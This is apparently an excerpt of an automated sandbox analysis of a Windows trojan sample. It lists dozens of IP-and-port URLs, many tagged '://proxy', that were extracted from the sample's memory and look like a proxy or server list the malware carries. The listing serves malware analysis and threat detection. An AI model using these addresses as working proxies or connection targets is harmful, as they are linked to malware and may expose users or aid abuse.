Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.221.91:64579://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.221.91:8004
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.221.91:8004://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8400000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8407000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.244.96:1234
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8400000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.244.96:1234://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.251.219:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.251.219:8000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.252.22:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.252.22:8000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.5.121:20258
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.5.121:20258://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.5.121:32339
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.5.121:32339://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.5.121:35429
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.5.121:35429://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCB1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.5.121:38403
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.5.121:38403://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.5.121:55637
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.5.121:55637://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.5.121:6672
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.5.121:6672://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.5.121:7248
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.5.121:7248://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C646E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://129.154.225.163:8100
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C646E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://129.154.225.163:8100://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://129.158.208.157:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://129.158.208.157:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://129.159.136.108:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://129.159.136.108:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://129.205.121.196:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://129.205.121.196:5678://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://129.213.52.124:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://129.213.52.124:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.209.156.241
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.209.156.241://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.209.156.241:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.229.107.106
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.229.107.106://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.229.107.106:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.229.47.109
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.229.47.109://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.229.47.109:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.232.245.132
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.232.245.132://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.232.245.132:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.234.24.116:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.234.24.116:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.37.59.99:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.37.59.99:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.37.89.201:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.37.89.201:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAAD8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAAF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.38.176.104:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAAF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.38.176.104:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.40.239.13:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.40.239.13:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.41.14.5:443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.41.14.5:443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.81.217.201
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.81.217.201://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://13.81.217.201:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://130.162.213.175:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://130.162.213.175:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://130.162.213.175:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9085000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://130.162.213.175:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://130.255.162.199:50446
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://130.255.162.199:50446://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://131.100.48.105:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://131.100.48.105:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://131.100.48.233:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://131.100.48.233:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://131.196.14.122:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://131.196.14.122:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAEE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://131.72.68.164:40033
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAEE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://131.72.68.164:40033://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.145.61.202:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.145.61.202:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C63C5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.128.88:39557
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.128.88:39557://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.128.8:12519
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.128.8:12519://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.128.8:1783
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.128.8:1783://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.128.8:18401
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.128.8:18401://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.128.8:2254
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.128.8:2254://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7933000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.128.8:43134
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7933000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.128.8:43134://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC929000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC63E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.129.254:41026
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC63E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.129.254:41026://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC49A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC1BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.129.254:45366
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC1BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.129.254:45366://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.129.254:60781
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.129.254:60781://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.129.254:63418
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.129.254:63418://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.130.78:23836
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.130.78:23836://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.130.78:27664
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.130.78:27664://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.130.78:29664
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.130.78:29664://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.130.78:29664x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.130.78:38721
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.130.78:38721://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAC25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.130.90:13469
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAC38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.130.90:13469://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.130.90:23836
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.130.90:23836://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.130.90:27664
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.130.90:27664://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.130.90:29664
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.130.90:29664://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9566000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.130.90:38721
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9566000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.130.90:38721://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.154.97:59369
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.154.97:59369://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.154.98:50965
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.154.98:50965://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.244.30:44957
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.244.30:44957://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.245.112:36149
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.245.112:36149://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC019000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.245.169:14103
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC019000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.245.169:14103://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.245.169:36149
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.245.169:36149://proxyHJ
